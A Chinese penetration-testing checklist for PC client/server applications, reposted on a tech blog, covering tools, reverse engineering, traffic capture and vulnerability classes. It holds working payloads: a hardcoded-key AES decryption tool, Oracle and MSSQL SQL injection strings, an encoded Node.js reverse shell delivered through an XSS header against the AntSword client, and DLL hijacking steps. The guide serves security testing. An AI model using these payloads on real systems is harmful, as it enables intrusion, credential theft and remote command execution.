前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >PC客户端(CS架构)客户端渗透测试指南

PC客户端(CS架构)客户端渗透测试指南

作者头像
HACK学习
发布2019-09-30 14:23:30
12.5K0
发布2019-09-30 14:23:30
举报
文章被收录于专栏:HACK学习HACK学习

0x00前言

本项目主要针对PC客户端(CS架构)渗透测试,结合自身测试经验和网络资料形成清单,如有任何问题,欢迎联系,期待大家贡献更多的技巧和案例。

0x01概述

PC客户端,有丰富功能的图形用户界面,CS架构。

0x02开发语言

C#(.NET),JAVA,DELPHI,C,C ++ ......

0x03协议

TCP,HTTP(S),TDS ......

0x04数据库

Oracle,MSSQL,DB2 ......

0x05测试工具

//相关工具下载:https://github.com/theLSA/hack-cs-tools

dvta: pc客户端靶场

ida pro: 静态分析工具

ollydbg:动态分析工具

CFF Explorer:PE文件分析

PEID:查壳工具

exeinfope/studype:pe文件分析

wireshark:观察流量

tcpview:观察tcp流量

echo Mirage:可拦截tcp流量

burpsuite:http(s)抓包

proxifier:全局代理流量

procmon:文件和注册表监控

regshot:注册表变化对比

process Hacker:进程分析

RegfromApp:注册表监控

WSExplorer:岁月联盟进程抓包工具

strings:查看程序的字符串

.net[反]编译:

dotpeek

de4dot

dnspy

ilspy

sae

ildasm

ilasm

Java反编译

jad

jd-gui

jadx

dex2jar

在线版: javare.cn

www.javadecompilers.com

Reflexil:组装编辑器(可以作为ilspy插件)

Vcg:自动化代码审计工具

BinScope:二进制分析工具

0x06代理设置

大部分客户端没有代理配置功能,需要自行设置全局代理,如下两种方法:

1)IE-互联网设置 - 连接 - 局域网设置。

2)代理服务器/代理服务器规则

// http的流量可以结合burpsuite方便测试(代理服务器设置为burp代理地址)。

0x07测试点

0.1 信息收集

编译信息,开发环境/语言,使用协议,数据库,IP,混淆/加密,是否加壳等。

案例0-CFF查看客户端信息(如编译环境)

dvta

1. 逆向工程

反编译,源代码泄露,硬编码密钥/密码,加解密逻辑,角色判断逻辑(0-admin,1- normaluser),后门等。

案例0-反编译获取加解密逻辑并编写解密工具

dvta

通过该逻辑和获取的信息

加密的文本: CTsvjZ0jQghXYWbSRcPxpQ ==

AES密钥: J8gLXc454o5tW2HEF7HahcXPufj9v8k8

IV: fq20T0gMnXa6g0l4

编写解密工具

代码语言:javascript
复制
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
using System.Security.Cryptography;

namespace aesdecrypt

{

public partial class aesdecrypt : Form

{

public aesdecrypt()

{

InitializeComponent();

}

private void decrypt(object sender, EventArgs e)

{

String key = “J8gLXc454o5tW2HEF7HahcXPufj9v8k8”;

String IV = “fq20T0gMnXa6g0l4”;

String encryptedtext = “CTsvjZ0jQghXYWbSRcPxpQ==”;

byte[] encryptedBytes = Convert.FromBase64String(encryptedtext);

AesCryptoServiceProvider aes = new AesCryptoServiceProvider();

aes.BlockSize = 128;

aes.KeySize = 256;

aes.Key = System.Text.ASCIIEncoding.ASCII.GetBytes(key);

aes.IV = System.Text.ASCIIEncoding.ASCII.GetBytes(IV);

aes.Padding = PaddingMode.PKCS7;

aes.Mode = CipherMode.CBC;

ICryptoTransform crypto = aes.CreateDecryptor(aes.Key, aes.IV);

byte[] decryptedbytes = crypto.TransformFinalBlock(encryptedBytes, 0, encryptedBytes.Length);

String decryptedString = System.Text.ASCIIEncoding.ASCII.GetString(decryptedbytes);

Console.WriteLine(“\n”);

Console.WriteLine(“##########Decryptig Database password##########\n”);

Console.WriteLine(“Decrypted Database password:” + decryptedString+”\n”);

Console.WriteLine(“##########Done##########\n”);

}

}

}

案例1-反编译修改代码逻辑让普通用户以管理员登录

dvta

1-Isadmin

0 Normaluser

改1为0即可判断为管理

2. 信息泄露

明文敏感信息,敏感文件(如安装目录下的xxx.config)。

注册表:利用regshot比较客户端运行(如登录)前后注册表差别。

开发调试日志记录(如dvta.exe >> log.txt)

process hacker查看客户端内存中的明文敏感数据(如账号密码/密钥)。

strings直接查看客户端字符串(如IP信息)。

查看源代码(如github上,gitee等)

案例0-配置敏感信息泄露

dvta

案例1-内存泄露数据库账号密码

dvta

案例2-源代码含有硬编码的ftp账号密码

dvta

案例3-开发调试日志泄露

dvta

案例4-某系统登录后本地保存账号密码

//案例本。来源于https://blog.csdn.net/weixin_30685047/article/details/95916065

3. 传输流量

Wireshark / echo Mirage / burpsuite + nopeproxy / filler / charles

FTP等协议明文传输的账号密码

SQL语句明文传输(如利用构造注入,越权等)

案例0-正方教务系统的SQL语句明文传输,返回明文数据

//本案例来源于wooyun

4. 其他漏洞

爆破

如登录功能。

用户名枚举

案例0

SQL语句暴露

案例0

SQL注入

如登录处,万能密码

xxx’ or ‘x’=’x

xxx’ or 1=1--

输入框处,构造闭合报错,如’、’)、%’)、order by 100--等。

利用显示位或报错注出数据,原理同web注入,不同数据库大同小异。

案例0-oracle的注入

代码语言:javascript
复制
' union select null,null,(select user from dual),null,null,(select banner from sys.v_$version where rownum=1),null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null from dual--

案例1-MSSQL注入

代码语言:javascript
复制
111') and (select user)>0--

CSV注入

如导出excel,输入1+1,导出后看是否为2。

弱口令

可尝试admin 123456等。

XSS

如Electron,NodeWebKit等。

案例0-中国蚁剑xss到rce

环境:win7+phpstudy(php5.6.27-nts)+perl+nc+antsword2.0.5

xss webshell:

代码语言:javascript
复制
<?php
header('HTTP/1.1 500 <img src=# onerror=alertx>');

WIN +的node.js:

成功

代码语言:javascript
复制
var net = require("net"), sh = require("child_process").exec("cmd.exe");

var client = new net.Socket();

client.connect(6677, "127.0.0.1", function(){client.pipe(sh.stdin);sh.stdout.pipe(client);

sh.stderr.pipe(client);});
代码语言:javascript
复制
<?php

header("HTTP/1.1 500 Not <img src=# onerror='eval(new Buffer(dmFyIG5ldCA9IHJlcXVpcmUoIm5ldCIpLCBzaCA9IHJlcXVpcmUoImNoaWxkX3Byb2Nlc3MiKS5leGVjKCJjbWQuZXhlIik7CnZhciBjbGllbnQgPSBuZXcgbmV0LlNvY2tldCgpOwpjbGllbnQuY29ubmVjdCg2Njc3LCAiMTI3LjAuMC4xIiwgZnVuY3Rpb24oKXtjbGllbnQucGlwZShzaC5zdGRpbik7c2guc3Rkb3V0LnBpcGUoY2xpZW50KTsKc2guc3RkZXJyLnBpcGUoY2xpZW50KTt9KTs = ,BASE64).toString())'>");

?>

相关参考

https://www.anquanke.com/post/id/176379

命令执行

案例0-印象笔记窗口客户端6.15本地文件读取和远程命令执行

http://blog.knownsec.com/2018/11/%E5%8D%B0%E8%B1%A1%E7%AC%94%E8%AE%B0-windows-%E5%AE%A2%E6% 88%AB B7%E7%%AF-6-15-%E6%9C%AC%E5%9C%B0%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96 %E5%92%8C%E8%BF%9C%E7%A8%8B%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C /

案例1某云PC客户端命令执行挖掘过程

https://www.secpulse.com/archives/53852.html

案例2-金山WPS邮件邮件客户端远程命令执行漏洞(Mozilla系XUL程序利用技巧)

https://shuimugan.com/bug/view?bug_no=193117

逻辑缺陷

测试点同网络。

密码明文传输
DLL劫持

Linux文件搜索顺序:

  1. 当前目录
  2. PATH顺序值目录

程序搜索Dll顺序:

//没提供绝对路径

1.应用程序加载的目录。

2.当前目录。

3.系统目录 (C:\Windows\System32\)。

4.16位的系统目录。

5.Windows目录。

6.PATH变量的目录。

程序可以加载攻击者放置的恶意dll。

利用procmon搜索程序加载的dll,观察name not found。

msf生成恶意dll放置于程序加载位置,运行程序即可触发payload。

案例0-DLL劫持

dvta

授权认证缺陷

注册表键值,授权服务器返回信息构造。

相关参考

https://cloud.tencent.com/developer/article/1430899

越权
未授权

案例0-正方教务系统数据库任意操作

知道IP即可接管数据库

//本案例来源于wooyun

溢出

0x08相关技巧

1.wireshark直接过滤出服务器或数据库的IP或协议方便查看,如

ip.addr == 1.2.3.4 && http

2.如果有数据库账号,可以用数据库监控sql语句操作(如sql server profiler)。

0x09参考资料和&相关资源

https://resources.infosecinstitute.com

PDF下载地址:

https://github.com/theLSA/CS-checklist/blob/master/CS-checklist.pdf

相关工具的下载地址:

https://github.com/theLSA/hack-cs-tools

参考来源:Github

作者:theLSA

原文地址见点击阅读原文

如有侵权,请联系删除

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2019-09-26,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 HACK学习呀 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 0x01概述
  • 0x02开发语言
  • 0x03协议
  • 0x04数据库
  • 0x05测试工具
  • 0x06代理设置
  • 0x07测试点
    • 0.1 信息收集
      • 1. 逆向工程
        • 2. 信息泄露
          • 3. 传输流量
            • 4. 其他漏洞
              • 爆破
              • 用户名枚举
              • SQL语句暴露
              • SQL注入
              • 弱口令
              • XSS
              • 命令执行
              • 逻辑缺陷
              • 密码明文传输
              • DLL劫持
              • 授权认证缺陷
              • 越权
              • 未授权
              • 溢出
          • 0x08相关技巧
          • 0x09参考资料和&相关资源
          相关产品与服务
          数据库
          云数据库为企业提供了完善的关系型数据库、非关系型数据库、分析型数据库和数据库生态工具。您可以通过产品选择和组合搭建,轻松实现高可靠、高可用性、高性能等数据库需求。云数据库服务也可大幅减少您的运维工作量,更专注于业务发展,让企业一站式享受数据上云及分布式架构的技术红利!
          领券
          问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档